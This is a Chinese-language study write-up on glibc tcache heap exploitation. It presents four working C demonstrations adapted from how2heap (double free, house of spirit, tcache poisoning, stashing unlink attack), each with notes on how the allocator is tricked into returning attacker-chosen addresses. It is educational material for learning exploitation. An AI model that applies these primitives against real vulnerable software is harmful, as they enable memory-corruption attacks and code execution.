ubuntu 18.04 下测试

tcache介绍

源码看不动，说一下通过实验得到的：

同一大小的 chunk free 之后前 7 个会放到一个 tcache 链表里面，不同大小的放在不同的链表中

最大能放 0x408 的，再大就要按照原本的那样放到 unsortedbin 中了

程序再次申请内存块的时候首先判断在 tchche 中是否存在，如果存在的话会先从 tcache 中拿

tcache_dup

#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "先申请一块内存\n");
	int *a = malloc(8);

	fprintf(stderr, "申请的内存地址是: %p\n", a);
	fprintf(stderr, "对这块内存地址 free两次\n");
	free(a);
	free(a);

	fprintf(stderr, "这时候链表是这样的 [ %p, %p ].\n", a, a);
	fprintf(stderr, "接下来再去 malloc 两次: [ %p, %p ].\n", malloc(8), malloc(8));
    fprintf(stderr, "ojbk\n");
	return 0;
}

gcc -g tcache_dup.c

运行之后的结果：

一开始申请了 0x8 大小的 chunk，后来 free了两次

然后再去申请的话也会申请这俩在 tcache 中的，所以后面输出的 malloc 的地址还是一样的

tcache_house_of_spirit

#include <stdio.h>
#include <stdlib.h>

int main()
{
    malloc(1);
    unsigned long long *a;
    unsigned long long fake_chunks[10];
    fprintf(stderr, "fake_chunks[1] 在 %p\n", &fake_chunks[1]);
    fprintf(stderr, "fake_chunks[1] 改成 0x40 \n");
    fake_chunks[1] = 0x40;
    fprintf(stderr, "把 fake_chunks[2] 的地址赋给 a, %p.\n", &fake_chunks[2]);
    a = &fake_chunks[2];
    fprintf(stderr, "free 掉 a\n");
    free(a);
    fprintf(stderr, "再去 malloc(0x30)，在可以看到申请来的结果在: %p\n", malloc(0x30));
    fprintf(stderr, "ojbk\n");
}

首先取了一个数组

然后把数组的 index1 改成了 0x40（chunk 的大小）

然后把数组的 index2 的地址赋给了 a，之后去 free a，再去申请回来的话就会把 a 申请回来，这样就申请了 fake chunks[2] 那里

tcache_poisoning

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    size_t stack_var;
    printf("定义了一个变量 stack_var，我们想让程序 malloc 到这里 %p.\n", (char *)&stack_var);

    printf("接下来申请两个 chunk\n");
    intptr_t *a = malloc(128);
    printf("chunk a 在: %p\n", a);
    intptr_t *b = malloc(128);
    printf("chunk b 在: %p\n", b);

    printf("free 掉这两个 chunk\n");
    free(a);
    free(b);

    printf("现在 tcache 那个链表是这样的 [ %p -> %p ].\n", b, a);
    printf("我们把 %p 的前 %lu 字节（也就是 fd/next 指针）改成 stack_var 的地址：%p", b, sizeof(intptr_t), &stack_var);
    b[0] = (intptr_t)&stack_var;
    printf("现在 tcache 链表是这样的 [ %p -> %p ].\n", b, &stack_var);

    printf("然后一次 malloc : %p\n", malloc(128));
    printf("现在 tcache 链表是这样的 [ %p ].\n", &stack_var);

    intptr_t *c = malloc(128);
    printf("第二次 malloc: %p\n", c);
    printf("ojbk\n");

    return 0;
}

程序首先定义了一个变量，我们想要做的就是让程序 malloc 到变量那里

malloc 两个 chunk，然后 free 掉，这时候链表及内存布局是这样的

然后把 b 的 fd 指针改成那个变量地址

这时候 tcache 的链表是这样的

然后连续申请两个 chunk，来看一下申请到的地址是啥样的

tcache_stashing_unlink_attack

#include <stdio.h>
#include <stdlib.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;
    unsigned long *pp;

    fprintf(stderr, "stack_var 是我们希望分配到的地址，我们首先把 &stack_var[2] 写到 stack_var[3] 来绕过 glibc 的 bck->fd=bin（即 fake chunk->bk 应该是一个可写的地址）\n");
    stack_var[3] = (unsigned long)(&stack_var[2]);
    fprintf(stderr, "修改之后 fake_chunk->bk 是:%p\n",(void*)stack_var[3]);
    fprintf(stderr, "stack_var[4] 的初始值是:%p\n",(void*)stack_var[4]);
    fprintf(stderr, "现在申请 9 个 0x90 的 chunk\n");

    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }
    fprintf(stderr, "先释放 6 个，这 6 个都会放到 tcache 里面\n");

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }
    fprintf(stderr, "接下来的释放的三个里面第一个是最后一个放到 tcache 里面的，后面的都会放到 unsortedbin 中\n");
    
    free(chunk_lis[1]);
    //接下来的就是放到 unsortedbin 了
    free(chunk_lis[0]);
    free(chunk_lis[2]);
    fprintf(stderr, "接下来申请一个大于 0x90 的 chunk，chunk0 和 chunk2 都会被整理到 smallbin 中\n");
    malloc(0xa0);//>0x90
    
    fprintf(stderr, "然后再去从 tcache 中申请两个 0x90 大小的 chunk\n");
    malloc(0x90);
    malloc(0x90);

    fprintf(stderr, "假设有个漏洞，可以把 victim->bk 的指针改写成 fake_chunk 的地址: %p\n",(void*)stack_var);
    chunk_lis[2][1] = (unsigned long)stack_var;
    fprintf(stderr, "现在 calloc 申请一个 0x90 大小的 chunk，他会把一个 smallbin 里的 chunk0 返回给我们，另一个 smallbin 的 chunk2 将会与 tcache 相连.\n");
    pp = calloc(1,0x90);
    
    fprintf(stderr, "这时候我们的 fake_chunk 已经放到了 tcache bin[0xa0] 这个链表中，它的 fd 指针现在指向下一个空闲的块: %p， bck->fd 已经变成了 libc 的地址: %p\n",(void*)stack_var[2],(void*)stack_var[4]);
    target = malloc(0x90);  
    fprintf(stderr, "再次 malloc 0x90 可以看到申请到了 fake_chunk: %p\n",(void*)target); 
    fprintf(stderr, "ojbk\n");
    return 0;
}

在 tcache 有剩余（不够 7 个）的时候，smallbin 中的相同大小空闲块会放入 tcache 中，这时候也会出现 unlink 操作

calloc 在分配时不会用 tcache bin 的

首先把 7 个放到 tcache bin 中，剩下两个放在 unsorted bin 中

0x555555757250 是 chunk0，0x555555757390 是 chunk2

这时候去申请一个 0xa0 大小的 chunk，那俩在 unsorted bin 中的 chunk 整理放在了 small bin 中

再去申请两个 0x90 大小的会从 tcache bin 中分配，这时候 tcache 还剩 5 个

然后把 chunk2 的 bk 改成 &stack_var，在一开始是这样的

改后：

另外此时的 bins

使用 calloc 去申请 0x90 大小的 chunk 会把 0x555555757250 申请出去，这时候如果 tcachebin 还有空闲的位置，剩下的 smallbin 从最后一个 0x7fffffffddc0 开始顺着 bk 链接到 tcachebin 中

https://dayjun.top/2020/02/07/smallbin在unlink的时候存在的漏洞/

tcache 是后进先出的，所以这时候再去申请就拿到了 0x7fffffffddc0 这个地址的 chunk

参考：

https://github.com/shellphish/how2heap/tree/master/glibc_2.26

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